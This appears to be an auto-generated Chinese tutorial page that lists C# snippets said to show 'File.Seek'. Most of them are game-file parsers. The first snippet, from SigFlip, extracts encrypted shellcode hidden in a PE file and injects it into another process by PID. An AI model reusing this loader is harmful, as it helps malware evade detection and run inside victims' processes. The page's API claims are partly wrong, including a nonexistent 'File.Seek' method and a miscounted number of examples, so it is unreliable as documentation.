C# File.Seek的代码示例
File.Seek方法的主要功能描述
通过代码示例来学习C# File.Seek方法
通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境,使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例,初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践,通过学习和模仿这些实例,学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说,是一种快速提升编程水平的有效途径。
File.Seek是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的File.Seek() 已经帮大家高亮显示了,大家可以重点学习File.Seek() 方法的写法,从而快速掌握该方法的应用。
File.Seek的代码示例1 - Main()
using System.IO;
public static void Main(string[] args)
{
ArgumentParser _parser = new ArgumentParser(args);
if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") {
Help();
}
if (_parser.GetOrDefault("f", "null") != "null") {
_pePath = _parser.GetOrDefault("f", "null");
_encKey = _parser.GetOrDefault("e", "null");
_pid = _parser.GetOrDefault("pid", "null");
if (_pePath == "null") Help();
if (_pid == "null") Help();
}
else {
Help();
}
if (!File.Exists(_pePath)) Help();
Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath);
Console.WriteLine();
byte[] _peBlob = Utils.Read(_pePath);
int _dataOffset = Utils.scanPattern(_peBlob, _tag);
Console.WriteLine("[+]:Scanning for Shellcode...");
if ( _dataOffset == -1) {
Console.WriteLine("Could not locate data or shellcode");
Environment.Exit(0);
}
Stream stream = new MemoryStream(_peBlob);
long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin);
Console.WriteLine("[+]: Shellcode located at {0:x2}", pos);
byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)];
stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length));
byte[] _data = Utils.Decrypt(shellcode, _encKey);
stream.Close();
//Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader.
//CreateThread
//ExecShellcode(_data);
//CreateRemoteThread
Loader.rexec(Convert.ToInt32(_pid), _data);
}
开发者ID: med0x2e, 项目名称: SigFlip, 代码行数: 56, 代码来源: Program.cs
在med0x2e提供的Main()方法中,该源代码示例一共有56行, 其中使用了File.Seek()1次, 并且小编将这些方法高亮显示出来了,希望对您了解File.Seek()有帮助。 如果您觉得有帮助的话,请帮忙点赞或转发。
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File.Seek的代码示例2 - Load()
using System.IO;
public void Load(Stream stream)
{
CanSave = true;
using (var reader = new FileReader(stream))
{
CheckEndianness(reader);
isBigEndian = reader.IsBigEndian;
uint Count = reader.ReadUInt32();
Console.WriteLine($"Count {Count}");
uint[] Offsets = new uint[Count];
uint[] Sizes = new uint[Count];
for (int i = 0; i < Count; i++)
{
Offsets[i] = reader.ReadUInt32();
Sizes[i] = reader.ReadUInt32();
}
for (int i = 0; i < Count; i++)
{
var fileEntry = new FileEntry();
reader.SeekBegin(Offsets[i]);
string Magic = reader.ReadString(4);
reader.Seek(-4);
reader.SeekBegin(Offsets[i]);
fileEntry.FileData = reader.ReadBytes((int)Sizes[i]);
fileEntry.FileName = $"File {i}";
fileEntry.OpenFileFormatOnLoad = true;
switch (Magic)
{
case "GT1G": //Textures
case "G1TG": //Textures
fileEntry.FileName = $"TextureContainer_{i}.gt1";
break;
case "_M1G":
case "G1M_":
fileEntry.FileName = $"Model_{i}.g1m";
break;
case "_A1G":
case "G1A_":
fileEntry.FileName = $"Animation_{i}.g1a";
break;
default:
break;
}
files.Add(fileEntry);
}
}
}
开发者ID: KillzXGaming, 项目名称: Switch-Toolbox, 代码行数: 57, 代码来源: HWBinGzResource.cs
在KillzXGaming提供的Load()方法中,该源代码示例一共有57行, 其中使用了File.Seek()1次, 并且小编将这些方法高亮显示出来了,希望对您了解File.Seek()有帮助。 如果您觉得有帮助的话,请帮忙点赞或转发。
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File.Seek的代码示例3 - ReadGPUFile()
private void ReadGPUFile(string FileName)
{
string path = FileName.Replace("cpu", "gpu");
if (!System.IO.File.Exists(path))
return;
int offset = 0;
//Read the data based on CPU chunk info
using (var reader = new FileReader(path))
{
for (int i = 0; i < Chunks.Count; i++)
{
if (Chunks[i].FileSize != 0 || Chunks[i].FileName != string.Empty || Chunks[i].ChunkData != null)
{
long pos = reader.Position;
var identifer = Chunks[i].Identifier.Reverse();
var fileInfo = new FileInfo();
//Get CPU chunk data
if (Chunks[i].ChunkData != null)
{
if ( Chunks[i].ChunkData is AnimationFile)
{
AnimationFile animFile = (AnimationFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is SkeletonFile)
{
SkeletonFile animFile = (SkeletonFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is MaterialFile)
{
MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is MaterialFile)
{
MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is ModelFile)
{
ModelFile modelFile = (ModelFile)Chunks[i].ChunkData;
fileInfo.FileName = modelFile.FileName;
byte[] BufferData = new byte[0];
if (Chunks[i].FileSize != 0)
BufferData = reader.ReadBytes((int)Chunks[i].FileSize);
fileInfo.FileData = Utils.CombineByteArray(modelFile.Data, modelFile.Data2, BufferData);
//Don't advance the stream unless the chunk has a pointer
if (Chunks[i].NextFilePtr != 0)
reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
}
}
else //Else get the data from GPU
{
if (Chunks[i].FileName != string.Empty)
fileInfo.FileName = $"{Chunks[i].FileName}";
else
fileInfo.FileName = $"{i} {Chunks[i].ChunkId} {identifer.ToString("X")}";
if (Chunks[i].FileSize != 0)
fileInfo.FileData = reader.ReadBytes((int)Chunks[i].FileSize);
else
fileInfo.FileData = new byte[0];
}
files.Add(fileInfo);
//Don't advance the stream unless the chunk has a pointer
if (Chunks[i].NextFilePtr != 0)
reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
}
}
}
}
开发者ID: KillzXGaming, 项目名称: Switch-Toolbox, 代码行数: 86, 代码来源: SP2.cs
在KillzXGaming提供的ReadGPUFile()方法中,该源代码示例一共有86行, 其中使用了File.Seek()2次, 并且小编将这些方法高亮显示出来了,希望对您了解File.Seek()有帮助。 如果您觉得有帮助的话,请帮忙点赞或转发。
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File.Seek的代码示例4 - ReadGPUFile()
private void ReadGPUFile(string FileName)
{
string path = FileName.Replace("cpu", "gpu");
if (!System.IO.File.Exists(path))
return;
int offset = 0;
//Read the data based on CPU chunk info
using (var reader = new FileReader(path))
{
for (int i = 0; i < Chunks.Count; i++)
{
if (Chunks[i].FileSize != 0 || Chunks[i].FileName != string.Empty || Chunks[i].ChunkData != null)
{
long pos = reader.Position;
var identifer = Chunks[i].Identifier.Reverse();
var fileInfo = new FileInfo();
//Get CPU chunk data
if (Chunks[i].ChunkData != null)
{
if (Chunks[i].ChunkData is AnimationFile)
{
AnimationFile animFile = (AnimationFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is SkeletonFile)
{
SkeletonFile animFile = (SkeletonFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is MaterialFile)
{
MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is MaterialFile)
{
MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is ModelFile)
{
ModelFile modelFile = (ModelFile)Chunks[i].ChunkData;
fileInfo.FileName = modelFile.FileName;
byte[] BufferData = new byte[0];
if (Chunks[i].FileSize != 0)
BufferData = reader.ReadBytes((int)Chunks[i].FileSize);
fileInfo.FileData = Utils.CombineByteArray(modelFile.Data, modelFile.Data2, BufferData);
//Don't advance the stream unless the chunk has a pointer
if (Chunks[i].NextFilePtr != 0)
reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
}
}
else //Else get the data from GPU
{
if (Chunks[i].FileName != string.Empty)
fileInfo.FileName = $"{Chunks[i].FileName}";
else
fileInfo.FileName = $"{i} {Chunks[i].ChunkId} {identifer.ToString("X")}";
if (Chunks[i].FileSize != 0)
fileInfo.FileData = reader.ReadBytes((int)Chunks[i].FileSize);
else
fileInfo.FileData = new byte[0];
}
if (fileInfo.FileData.Length > 0)
files.Add(fileInfo);
//Don't advance the stream unless the chunk has a pointer
if (Chunks[i].NextFilePtr != 0)
reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
}
}
}
}
开发者ID: KillzXGaming, 项目名称: Switch-Toolbox, 代码行数: 88, 代码来源: SPC.cs
在KillzXGaming提供的ReadGPUFile()方法中,该源代码示例一共有88行, 其中使用了File.Seek()2次, 并且小编将这些方法高亮显示出来了,希望对您了解File.Seek()有帮助。 如果您觉得有帮助的话,请帮忙点赞或转发。
该代码示例的点赞次数为3, 点赞数越大, 从某种程度说明这个示例对了解File.Seek()可能更有帮助。
File.Seek的代码示例5 - ReadGPUFile()
private void ReadGPUFile(string FileName)
{
string path = FileName.Replace("cpu", "gpu");
if (!System.IO.File.Exists(path))
return;
int offset = 0;
//Read the data based on CPU chunk info
using (var reader = new FileReader(path))
{
for (int i = 0; i < Chunks.Count; i++)
{
if (Chunks[i].FileSize != 0 || Chunks[i].FileName != string.Empty || Chunks[i].ChunkData != null)
{
long pos = reader.Position;
var identifer = Chunks[i].Identifier.Reverse();
var fileInfo = new FileInfo();
//Get CPU chunk data
if (Chunks[i].ChunkData != null)
{
if (Chunks[i].ChunkData is SWUTexture)
{
SWUTexture texFile = (SWUTexture)Chunks[i].ChunkData;
if (Chunks[i].FileSize != 0)
texFile.ImageData = reader.ReadBytes((int)Chunks[i].FileSize);
continue;
}
if ( Chunks[i].ChunkData is AnimationFile)
{
AnimationFile animFile = (AnimationFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is SkeletonFile)
{
SkeletonFile animFile = (SkeletonFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is MaterialFile)
{
MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is MaterialFile)
{
MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
fileInfo.FileName = animFile.FileName;
fileInfo.FileData = animFile.Data;
}
if (Chunks[i].ChunkData is ModelFile)
{
ModelFile modelFile = (ModelFile)Chunks[i].ChunkData;
fileInfo.FileName = modelFile.FileName;
byte[] BufferData = new byte[0];
if (Chunks[i].FileSize != 0)
BufferData = reader.ReadBytes((int)Chunks[i].FileSize);
fileInfo.FileData = Utils.CombineByteArray(modelFile.Data, modelFile.Data2, BufferData);
//Don't advance the stream unless the chunk has a pointer
if (Chunks[i].NextFilePtr != 0)
reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
}
}
else //Else get the data from GPU
{
if (Chunks[i].FileName != string.Empty)
fileInfo.FileName = $"{Chunks[i].FileName}";
else
fileInfo.FileName = $"{i} {Chunks[i].ChunkId} {identifer.ToString("X")}";
if (Chunks[i].FileSize != 0)
fileInfo.FileData = reader.ReadBytes((int)Chunks[i].FileSize);
else
fileInfo.FileData = new byte[0];
}
files.Add(fileInfo);
//Don't advance the stream unless the chunk has a pointer
if (Chunks[i].NextFilePtr != 0)
reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
}
}
}
}
开发者ID: KillzXGaming, 项目名称: Switch-Toolbox, 代码行数: 95, 代码来源: SWU.cs
在KillzXGaming提供的ReadGPUFile()方法中,该源代码示例一共有95行, 其中使用了File.Seek()2次, 并且小编将这些方法高亮显示出来了,希望对您了解File.Seek()有帮助。 如果您觉得有帮助的话,请帮忙点赞或转发。
该代码示例的点赞次数为3, 点赞数越大, 从某种程度说明这个示例对了解File.Seek()可能更有帮助。
File.Seek的代码示例6 - Read()
using System.IO;
public void Read(FileReader reader)
{
reader.ReadUInt32(); //MFX
reader.Seek(8); //unks
uint descCount = reader.ReadUInt32();
uint stringTableOffset = reader.ReadUInt32();
reader.ReadUInt32();
long pos = reader.Position;
for (int i = 0; i < descCount - 1; i++)
{
reader.SeekBegin(pos + (i * 4));
uint ofs = reader.ReadUInt32();
if (ofs == 0)
continue;
reader.SeekBegin(ofs);
Descriptor desc = new Descriptor();
desc.Name = ReadName(reader, stringTableOffset);
desc.Type = ReadName(reader, stringTableOffset);
ushort DescType = reader.ReadUInt16();
ushort MapLength = reader.ReadUInt16(); //Actual length is value / 2? Not sure
ushort MapIndex = reader.ReadUInt16();
ushort DescIndex = reader.ReadUInt16();
reader.ReadUInt32();
uint MapAddress = reader.ReadUInt32(); //Not sure what this address actually points to
var crc = MT_Globals.crc32(desc.Name);
var jcrc = MT_Globals.jamcrc(desc.Name);
var mcrc = MT_Globals.mfxcrc(desc.Name, DescIndex);
if (desc.Type == "__InputLayout")
{
Console.WriteLine($"attribute {desc.Name} DescIndex {DescIndex}");
AttributeGroups.Add(mcrc, new AttributeGroup(reader, stringTableOffset)
{
Name = desc.Name,
});
}
}
File.WriteAllText("Shader.json", JsonConvert.SerializeObject(this, Formatting.Indented));
}
开发者ID: KillzXGaming, 项目名称: Switch-Toolbox, 代码行数: 47, 代码来源: Shader.cs
在KillzXGaming提供的Read()方法中,该源代码示例一共有47行, 其中使用了File.Seek()1次, 并且小编将这些方法高亮显示出来了,希望对您了解File.Seek()有帮助。 如果您觉得有帮助的话,请帮忙点赞或转发。
该代码示例的点赞次数为3, 点赞数越大, 从某种程度说明这个示例对了解File.Seek()可能更有帮助。
File.Seek()方法的常见问题及解答
C#中File.Seek()的常见错误类型及注意事项
File.Seek的错误类型有很多, 这里就不一一阐述了,本文只列出一些常见的代码示例供参考,大家可以看一下代码中Catch语句中是否有常见的错误捕获及处理。
C#中File.Seek()的构造函数有哪些
File.Seek构造函数功能基本类似,只是参数不同; 目前主流的集成开发环境都已经带智能提醒了,如:Visual Studio; 大家可以非常轻松的通过Visual Studio中的智能提醒,了解对应构造函数的用法。
如何使用ChartGPT写一段File.Seek的代码
你可以在ChartGPT中输入如下的指令:"提供一个如何使用File.Seek的C#代码示例"
ChartGPT写出的代码和本文中的小编提供的代码的区别。 ChartGPT发展到现在已经非常聪明了,但需要使用这提供非常专业的问题,才可能有比较好的源代码示例; 而本文中, 小编已经帮您列出来基本所有类和所有方法的使用示例, 而且这些示例基本都是一些网络大佬提供的源码,可以更方便的供一些开发菜鸟或者资深开发参考和学习。
File.Seek所在的类及名称空间
File.Seek是System.IO下的方法。
File.Seek怎么使用?
File.Seek使用上比较简单,可以参考MSDN中的帮助文档,也参考本文中提供的7个使用示例。
File.Seek菜鸟教程
对于菜鸟来说,本文中提供的7个File.Seek写法都将非常直观的帮您掌握File.Seek的用法,是一个不错的参考教程。
本文中的File.Seek方法示例由csref.cn整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。